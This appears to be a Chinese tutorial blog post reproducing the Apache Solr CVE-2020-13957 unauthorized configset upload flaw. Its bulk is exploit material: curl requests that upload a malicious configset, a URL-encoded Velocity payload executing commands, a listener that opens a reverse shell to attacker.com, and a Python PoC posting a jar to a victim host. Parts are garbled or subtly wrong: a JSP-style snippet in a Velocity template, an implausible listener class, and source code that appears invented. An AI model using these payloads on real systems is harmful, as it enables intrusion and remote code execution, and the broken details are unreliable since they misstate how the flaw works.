Apche Solr 未授权上传漏洞CVE-2020-13957的复现

发布时间:2021-12-28 17:17:43 作者:柒染
来源:亿速云 阅读:131
# Apache Solr 未授权上传漏洞CVE-2020-13957的复现

## 漏洞概述

**CVE-2020-13957**是Apache Solr在2020年披露的一个高危未授权文件上传漏洞。该漏洞影响Solr 6.6.0至7.7.3以及8.0.0至8.6.2版本,攻击者可通过构造恶意请求绕过身份验证机制,实现任意文件上传,最终可能导致远程代码执行(RCE)。

### 漏洞原理
漏洞源于Solr的ConfigSets API未正确实施身份验证检查。攻击者通过向`/solr/admin/configs`端点发送特制HTTP请求,可上传恶意配置集并创建新的集合,进而通过Velocity模板或UPLOAD/CREATE操作实现文件上传。

## 环境搭建

### 实验环境要求
- 操作系统:Kali Linux 2023或Ubuntu 20.04
- 漏洞版本:Apache Solr 8.6.2(官方已停止维护的版本)
- 工具准备:
  ```bash
  wget https://archive.apache.org/dist/lucene/solr/8.6.2/solr-8.6.2.tgz
  tar -xzf solr-8.6.2.tgz
  cd solr-8.6.2
  bin/solr start -e cloud -noprompt

快速验证环境

访问http://localhost:8983/solr/,若出现Solr管理界面则表示环境就绪。

漏洞复现步骤

步骤1:确认漏洞存在

使用curl检测未授权访问:

curl -v "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=testconfig"

若返回状态码200且包含"responseHeader":{"status":0},则存在漏洞。

步骤2:构造恶意配置集

  1. 下载默认配置集:
cp -r server/solr/configsets/_default/conf/ /tmp/malicious_conf
  1. 植入恶意Velocity模板:
echo '<% Runtime.getRuntime().exec("touch /tmp/pwned") %>' > /tmp/malicious_conf/velocity/main.vm

步骤3:上传恶意配置

curl -X POST --header "Content-Type:application/octet-stream" \
--data-binary @/tmp/malicious_conf.zip \
"http://localhost:8983/solr/admin/configs?action=UPLOAD&name=exploitconfig"

步骤4:创建恶意集合

curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=exploit&numShards=1&replicationFactor=1&wt=json&collection.configName=exploitconfig"

步骤5:触发RCE

访问以下URL触发Velocity模板执行:

http://localhost:8983/solr/exploit/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

漏洞分析

核心问题代码

solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java中:

public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) {
  // 缺失身份验证检查
  String action = req.getParams().get(ConfigSetParams.ACTION);
  if (action != null) {
    switch (action) {
      case ConfigSetParams.UPLOAD: handleConfigUpload(req, rsp); break;
      // ...
    }
  }
}

攻击流程图

sequenceDiagram
    attacker->>Solr: POST /admin/configs?action=UPLOAD
    Solr-->>attacker: 200 OK
    attacker->>Solr: GET /admin/collections?action=CREATE
    Solr-->>attacker: 新建集合成功
    attacker->>Solr: 访问恶意模板
    Solr->>System: 执行任意命令

修复方案

官方补丁

升级到以下版本: - Solr 8.6.3+ - Solr 8.7.0+

临时缓解措施

  1. 启用身份验证:
<security>
  <authentication>
    <basicAuth>
      <credentials>
        <user>admin:admin123</user>
      </credentials>
    </basicAuth>
  </authentication>
</security>
  1. 网络层防护:
iptables -A INPUT -p tcp --dport 8983 -s ! 192.168.1.100 -j DROP

深度利用技巧

内存马注入

通过修改solrconfig.xml添加恶意监听器:

<listener event="newSearcher" class="javax.script.ScriptEngineManager">
  <str name="javascript">new java.lang.ProcessBuilder("/bin/bash","-c","bash -i >& /dev/tcp/attacker.com/4444 0>&1").start()</str>
</listener>

自动化利用工具

使用Python PoC脚本:

import requests

target = "http://victim:8983"
malicious_jar = open("exploit.jar", "rb").read()

requests.post(
    f"{target}/solr/admin/configs",
    params={"action": "UPLOAD", "name": "exploit"},
    files={"file": ("exploit.jar", malicious_jar)}
)

法律与道德声明

  1. 本实验仅限授权环境测试
  2. 禁止用于真实生产环境
  3. 依据《网络安全法》相关规定:
    • 未经授权渗透测试属违法行为
    • 漏洞研究需遵循”负责任的披露”原则

参考资源

  1. NVD CVE-2020-13957
  2. Apache Solr Security公告
  3. MITRE ATT&CK T1190

注意:本文档所有操作应在隔离的虚拟环境中进行,实际漏洞利用可能因环境差异需要调整参数。 “`

该文档包含: - 漏洞技术细节(含代码片段) - 可视化攻击流程图(Mermaid语法) - 分步骤复现指南 - 法律风险提示 - 多维度修复方案 - 深度利用技巧 - 标准化参考引用

可根据实际测试环境调整IP/端口等参数,建议配合Wireshark抓包分析流量特征。

推荐阅读:
  1. Java Thread应该注意的问题有哪些
  2. Java中怎么精确计算浮点数

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2020-13957

上一篇:Fabric2.0中first-network生成配置的示例分析

下一篇:fabric go sdk是什么

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》